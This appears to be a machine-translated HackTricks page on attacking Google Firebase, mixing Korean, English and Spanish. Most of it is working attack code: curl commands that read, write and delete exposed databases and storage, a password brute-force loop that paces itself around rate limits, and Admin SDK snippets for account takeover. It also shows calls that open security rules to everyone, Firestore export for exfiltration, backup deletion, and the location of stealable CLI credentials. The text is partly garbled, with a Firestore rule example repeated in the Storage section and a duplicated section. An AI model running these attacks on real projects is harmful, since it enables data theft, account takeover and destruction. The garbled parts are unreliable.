GCP - Firebase Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

Firebase

Firebase Realtime Database에 대한 인증되지 않은 액세스

공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않습니다. 필수 조건은 Firebase Realtime Database 보안 규칙에 취약한 설정이 존재하는 것으로, 규칙이 .read: true 또는 .write: true로 설정되어 공개 읽기/쓰기 접근을 허용하는 경우입니다.

공격자는 일반적으로 다음 형식을 따르는 데이터베이스 URL을 식별해야 합니다: https://<project-id>.firebaseio.com/.

이 URL은 모바일 애플리케이션 리버스 엔지니어링(예: Android APK 디컴파일 또는 iOS 앱 분석), google-services.json(Android) 또는 GoogleService-Info.plist(iOS) 같은 구성 파일 분석, 웹 애플리케이션의 소스 코드 검사, 또는 네트워크 트래픽을 분석해 *.firebaseio.com 도메인으로의 요청을 확인함으로써 찾을 수 있습니다.

공격자는 데이터베이스 URL을 식별하고 공개 노출 여부를 확인한 뒤 데이터를 열람하고 경우에 따라 악의적인 정보를 기록할 수 있습니다.

먼저 URL에 .json을 추가해 데이터베이스가 읽기 접근을 허용하는지 확인합니다.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

응답이 JSON 데이터나 null(대신 “Permission Denied”)을 포함하면 데이터베이스는 읽기 권한을 허용합니다. 쓰기 권한을 확인하려면 공격자가 Firebase REST API를 사용해 테스트 쓰기 요청을 전송해 볼 수 있습니다.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

If the operation succeeds, the database also allows write access.

Exposure of data in Cloud Firestore

공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않습니다. 필요한 것은 Cloud Firestore 보안 규칙에 인증 없이 또는 검증이 불충분한 상태로 읽기 또는 쓰기 액세스를 허용하는 취약한 구성이 존재하는 것뿐입니다. 전체 접근을 허용하는 잘못 구성된 규칙의 예는:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

이 규칙은 누구나 모든 문서를 아무 제한 없이 읽고 쓸 수 있도록 허용합니다. Firestore 규칙은 컬렉션 및 문서별로 세분화되어 적용되므로 특정 규칙의 오류는 일부 컬렉션만 노출시킬 수 있습니다.

공격자는 Firebase Project ID를 식별해야 하며, 이는 모바일 앱 reverse engineering, google-services.json 또는 GoogleService-Info.plist와 같은 구성 파일 분석, 웹 애플리케이션의 소스 코드 검사, 또는 firestore.googleapis.com로의 요청을 식별하기 위한 네트워크 트래픽 분석을 통해 찾을 수 있습니다. Firestore REST API는 다음 형식을 사용합니다:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

규칙이 인증되지 않은 읽기 접근을 허용하면, attacker는 컬렉션과 문서를 읽을 수 있다. 먼저, 그들은 특정 컬렉션에 접근을 시도한다:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

응답이 권한 오류 대신 JSON documents를 반환한다면, 해당 collection은 노출된 것이다. attacker는 일반적인 이름을 시도하거나 애플리케이션 구조를 분석해 접근 가능한 모든 collections를 enumerate할 수 있다. 특정 document에 접근하려면:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

규칙이 인증되지 않은 쓰기 접근을 허용하거나 검증이 불충분한 경우, 공격자는 새 문서를 생성할 수 있습니다:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

기존 문서를 수정하려면 PATCH를 사용해야 합니다:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

문서를 삭제하여 denial of service를 일으키려면:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Firebase Storage에서 파일 노출

공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않습니다. 이 공격은 Firebase Storage 보안 규칙에서 인증 없이 또는 불충분한 검증으로 읽기 또는 쓰기 접근을 허용하는 취약한 구성만 있으면 가능합니다. Storage 규칙은 읽기와 쓰기 권한을 독립적으로 제어하므로, 규칙의 오류로 인해 읽기만, 쓰기만, 또는 둘 다 노출될 수 있습니다. 전체 접근을 허용하는 잘못 구성된 규칙의 예는 다음과 같습니다:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

이 규칙은 모든 문서에 대해 어떠한 제한 없이 읽기 및 쓰기 액세스를 허용합니다. Firestore 규칙은 세분화되어 컬렉션 및 문서별로 적용되므로 특정 규칙의 실수는 일부 컬렉션만 노출시킬 수 있습니다. 공격자는 Firebase Project ID를 식별해야 하며, 이는 mobile application reverse engineering, google-services.json 또는 GoogleService-Info.plist와 같은 구성 파일 분석, 웹 애플리케이션 소스 코드 검사, 또는 firestore.googleapis.com에 대한 요청을 식별하기 위한 network traffic analysis 등을 통해 찾을 수 있습니다.

The Firestore REST API는 다음 형식을 사용합니다: https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

규칙이 인증되지 않은 읽기 액세스를 허용하면 공격자는 컬렉션과 문서를 읽을 수 있습니다. 먼저 특정 컬렉션에 접근을 시도합니다.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

응답이 권한 오류 대신 파일 목록을 포함하면 해당 파일이 노출된 것입니다. 공격자는 경로를 지정하여 파일 내용을 볼 수 있습니다:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

규칙이 인증되지 않은 쓰기 액세스를 허용하거나 검증이 불충분한 경우, 공격자는 악성 파일을 업로드할 수 있다. REST API를 통해 파일을 업로드하려면:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

공격자는 code shells, malware payloads, 또는 대용량 파일을 업로드하여 denial of service를 유발할 수 있습니다. 애플리케이션이 업로드된 파일을 처리하거나 실행하면 공격자는 remote code execution을 달성할 수 있습니다. 파일을 삭제하여 denial of service를 유발하려면:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

공개 Firebase Cloud Functions 호출

공격자는 이 문제를 악용하기 위해 특정 Firebase 권한이 필요하지 않습니다; 단지 Cloud Function이 인증 없이 HTTP를 통해 공개적으로 접근 가능하면 됩니다.

함수가 다음과 같이 안전하지 않게 구성되어 있으면 취약합니다:

• functions.https.onRequest을 사용하며, 이는 onCall functions와 달리 인증을 강제하지 않습니다.
• 함수 코드가 사용자 인증을 검증하지 않습니다(예: request.auth 또는 context.auth 검사가 없음).
• 함수가 IAM에서 공개적으로 접근 가능하며, 즉 allUsers에게 roles/cloudfunctions.invoker 역할이 부여되어 있습니다. 이는 개발자가 접근을 제한하지 않는 한 HTTP 함수의 기본 동작입니다.

Firebase HTTP Cloud Functions는 다음과 같은 URL을 통해 노출됩니다:

• https://<region>-<project-id>.cloudfunctions.net/<function-name>
• https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

공격자는 소스 코드 분석, 네트워크 트래픽 검사, 열거 도구(enumeration tools), 또는 모바일 앱 리버스 엔지니어링을 통해 이러한 URL을 발견할 수 있습니다. 함수가 공개적으로 노출되어 있고 인증이 필요하지 않다면, 공격자는 자격 증명 없이 직접 해당 함수를 호출할 수 있습니다.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.

Brute-force attack against Firebase Authentication with a weak password policy

이 공격을 수행하기 위해 attacker는 특정한 Firebase 권한이 필요하지 않습니다. 필요한 것은 Firebase API Key가 모바일 또는 웹 애플리케이션에 노출되어 있고, 비밀번호 정책이 기본값보다 더 엄격하게 구성되어 있지 않은 것입니다.

attacker는 Firebase API Key를 식별해야 하며, 이는 mobile app reverse engineering, google-services.json 또는 GoogleService-Info.plist 같은 설정 파일 분석, 웹 애플리케이션 소스 코드 검사(예: bootstrap.js), 또는 네트워크 트래픽 분석을 통해 찾을 수 있습니다.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> to authenticate with email and password.

Email Enumeration Protection이 비활성화되어 있으면, API 오류 응답은 해당 이메일이 시스템에 존재하는지(EMAIL_NOT_FOUND vs. INVALID_PASSWORD)를 드러낼 수 있어 attackers가 비밀번호 추측을 시도하기 전에 사용자를 enumerate할 수 있습니다. 이 보호가 활성화되어 있으면, API는 존재하지 않는 이메일과 잘못된 비밀번호에 대해 동일한 오류 메시지를 반환하여 user enumeration을 방지합니다.

Firebase Authentication이 rate limiting을 적용한다는 점을 유의해야 합니다. 이는 짧은 시간에 인증 시도가 너무 많으면 요청을 차단할 수 있습니다. 따라서 attacker는 rate-limited되는 것을 피하기 위해 시도들 사이에 지연을 삽입해야 합니다.

attacker는 API Key를 식별한 후 알려진 계정들에 대해 여러 비밀번호로 인증 시도를 수행합니다. Email Enumeration Protection이 비활성화되어 있으면, attacker는 오류 응답을 분석하여 기존 사용자를 enumerate할 수 있습니다:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

응답에 EMAIL_NOT_FOUND가 포함되면 해당 이메일은 시스템에 존재하지 않습니다. INVALID_PASSWORD가 포함되면 이메일은 존재하지만 비밀번호가 올바르지 않아 사용자가 등록되어 있음을 확인할 수 있습니다. 유효한 사용자가 확인되면 attacker는 brute-force 시도를 수행할 수 있습니다. Firebase Authentication의 속도 제한 메커니즘을 피하기 위해 시도 사이에 일시 중지를 넣는 것이 중요합니다:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.

Firebase Authentication의 사용자 관리

The attacker needs specific Firebase Authentication permissions to carry out this attack. The required permissions are:

• firebaseauth.users.create to create users
• firebaseauth.users.update to modify existing users
• firebaseauth.users.delete to delete users
• firebaseauth.users.get to retrieve user information
• firebaseauth.users.sendEmail to send emails to users
• firebaseauth.users.createSession to create user sessions

These permissions are included in the roles/firebaseauth.admin role, which grants full read/write access to Firebase Authentication resources. They are also included in higher-level roles such as roles/firebase.developAdmin (which includes all firebaseauth.* permissions) and roles/firebase.admin (full access to all Firebase services).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (JSON file), which might be found on compromised systems, publicly exposed code repositories, compromised CI/CD systems, or through the compromise of developer accounts that have access to these credentials.

The first step is to configure the Firebase Admin SDK using service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

victim’s email을 사용해 malicious user를 생성하려면, attacker는 Firebase Admin SDK를 사용해 해당 이메일로 새 계정을 생성하려 시도할 것이다.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

기존 사용자를 수정하려면 attacker는 이메일 주소, 인증 상태 또는 계정 비활성화 여부와 같은 필드를 업데이트합니다.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

사용자 계정을 삭제하여 denial of service를 일으키려면 공격자는 사용자를 완전히 제거하는 요청을 보냅니다.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

공격자는 UID나 이메일 주소를 요청하여 기존 사용자에 대한 정보를 조회할 수도 있다.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

또한 공격자는 사용자 비밀번호를 변경하고 해당 계정에 접근하기 위해 인증 링크나 비밀번호 재설정 링크를 생성할 수 있다.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase Authentication의 사용자 관리

공격자는 이 공격을 수행하기 위해 특정 Firebase Authentication 권한이 필요합니다. 필요한 권한은 다음과 같습니다:

• firebaseauth.users.create — 사용자 생성
• firebaseauth.users.update — 기존 사용자 수정
• firebaseauth.users.delete — 사용자 삭제
• firebaseauth.users.get — 사용자 정보 조회
• firebaseauth.users.sendEmail — 사용자에게 이메일 전송
• firebaseauth.users.createSession — 사용자 세션 생성

이 권한들은 roles/firebaseauth.admin 역할에 포함되어 있으며, Firebase Authentication 리소스에 대한 전체 읽기/쓰기 액세스를 부여합니다. 또한 roles/firebase.developAdmin(모든 firebaseauth.* 권한 포함) 및 roles/firebase.admin(모든 Firebase 서비스에 대한 전체 액세스) 같은 상위 수준 역할에도 포함됩니다.

Firebase Admin SDK를 사용하려면 공격자는 서비스 계정 자격증명(JSON 파일)에 대한 접근 권한이 필요하며, 이는 침해된 시스템, 공개된 코드 저장소, 침해된 CI/CD 환경, 또는 해당 자격증명에 접근 권한이 있는 개발자 계정의 침해를 통해 얻을 수 있습니다.

첫 단계는 서비스 계정 자격증명을 사용해 Firebase Admin SDK를 구성하는 것입니다.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

victim의 email을 사용해 악성 사용자를 만들기 위해 attacker는 해당 email로 새 user account를 생성하고 자신의 password와 profile information을 할당하려고 시도할 것입니다.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

기존 사용자를 수정하려면 공격자는 이메일 주소, 인증 상태 또는 계정 비활성화 여부와 같은 필드를 변경한다.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

사용자 계정을 삭제하여—사실상 서비스 거부를 유발하기 위해—공격자는 해당 사용자를 영구적으로 제거하는 요청을 전송한다.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

공격자는 UID 또는 email로 사용자 세부 정보를 요청하여 UID나 email과 같은 기존 사용자에 대한 정보를 가져올 수도 있다.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

또한 공격자는 인증 링크 또는 비밀번호 재설정 링크를 생성하여 사용자의 비밀번호를 변경하고 계정을 장악할 수 있습니다.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase 서비스의 보안 규칙 수정

attacker는 서비스에 따라 보안 규칙을 수정하기 위해 특정 권한이 필요합니다. Cloud Firestore 및 Firebase Cloud Storage의 경우, 규칙셋을 생성하기 위한 firebaserules.rulesets.create 권한과 릴리스를 배포하기 위한 firebaserules.releases.create 권한이 필요합니다. 이러한 권한은 roles/firebaserules.admin 역할에 포함되며 roles/firebase.developAdmin 및 roles/firebase.admin 같은 상위 역할에도 포함됩니다. Firebase Realtime Database의 경우 필요한 권한은 firebasedatabase.instances.update입니다.

attacker는 보안 규칙을 수정하기 위해 Firebase REST API를 사용해야 합니다. 먼저, attacker는 service account credentials를 사용하여 access token을 얻어야 합니다. 토큰을 얻기 위해:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Firebase Realtime Database 규칙을 수정하려면:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Cloud Firestore 규칙을 수정하려면, 공격자는 ruleset을 생성한 다음 deploy해야 합니다:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

이전 명령은 projects//rulesets/ 형식의 ruleset 이름을 반환합니다. 새 버전을 배포하려면 릴리스를 PATCH 요청으로 업데이트해야 합니다:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Firebase Cloud Storage 규칙을 수정하려면:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

이전 명령은 projects//rulesets/ 형식의 ruleset 이름을 반환합니다. 새 버전을 배포하려면 release를 PATCH 요청으로 업데이트해야 합니다:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore는 Cloud Datastore와 동일한 인프라와 권한 시스템을 사용하므로 Datastore IAM 권한이 Firestore에 그대로 적용됩니다. TTL 정책을 조작하려면 datastore.indexes.update 권한이 필요합니다. 데이터를 내보내려면 datastore.databases.export 권한이 필요합니다. 데이터를 가져오려면 datastore.databases.import 권한이 필요합니다. 대량 데이터 삭제를 수행하려면 datastore.databases.bulkDelete 권한이 필요합니다.

백업 및 복원 작업에는 특정 권한이 필요합니다:

• datastore.backups.get and datastore.backups.list to list and retrieve details of available backups
• datastore.backups.delete to delete backups
• datastore.backups.restoreDatabase to restore a database from a backup
• datastore.backupSchedules.create and datastore.backupSchedules.delete to manage backup schedules

TTL 정책이 생성되면 삭제 대상이 될 엔터티를 식별하기 위해 지정된 속성이 선택됩니다. 이 TTL 속성은 Date and time 유형이어야 합니다. 공격자는 이미 존재하는 속성을 선택하거나 나중에 추가할 계획인 속성을 지정할 수 있습니다. 필드 값이 과거의 날짜이면 문서는 즉시 삭제 대상이 됩니다. 공격자는 gcloud CLI를 사용하여 TTL 정책을 조작할 수 있습니다.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

데이터를 내보내고 exfiltrate하기 위해, 공격자는 gcloud CLI를 사용할 수 있다.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

악성 데이터를 가져오려면:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

대량 데이터 삭제를 수행하고 denial of service를 일으키기 위해 공격자는 gcloud Firestore bulk-delete tool을 사용해 전체 컬렉션을 제거할 수 있다.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

백업 및 복원 작업의 경우, 공격자는 데이터베이스의 현재 상태를 캡처하기 위해 예약된 백업을 생성하고, 기존 백업을 나열하고, 최근 변경사항을 덮어쓰도록 백업에서 복원하고, 영구적인 데이터 손실을 초래하기 위해 백업을 삭제하고, 예약된 백업을 제거할 수 있다. 즉시 백업을 생성하는 일일 백업 스케줄을 생성하려면:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

특정 backup에서 restore하려면 공격자는 해당 backup에 포함된 데이터를 사용해 새 데이터베이스를 생성할 수 있다. restore 작업은 backup의 데이터를 새 데이터베이스에 기록하므로 기존 DATABASE_ID는 사용할 수 없다.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

백업을 삭제하여 영구적인 데이터 손실을 초래하려면:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Firebase CLI credentials의 도난 및 오용

공격자는 이 공격을 수행하기 위해 특정 Firebase 권한이 필요하지 않지만, 개발자의 로컬 시스템 또는 Firebase CLI 자격 증명 파일에 대한 접근 권한은 필요합니다. 이 자격 증명은 다음 경로에 있는 JSON 파일에 저장됩니다:

• Linux/macOS: ~/.config/configstore/firebase-tools.json

• Windows: C:\Users[User].config\configstore\firebase-tools.json

이 파일에는 refresh_token 및 access_token을 포함한 인증 토큰이 들어있어 공격자가 원래 firebase login을 실행한 사용자인 것처럼 인증할 수 있게 합니다.

공격자가 Firebase CLI 자격 증명 파일에 접근하면 전체 파일을 자신의 시스템으로 복사할 수 있고, Firebase CLI는 기본 위치에서 해당 자격 증명을 자동으로 사용합니다. 이렇게 하면 공격자는 해당 사용자가 접근할 수 있는 모든 Firebase 프로젝트를 볼 수 있습니다.

firebase projects:list

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.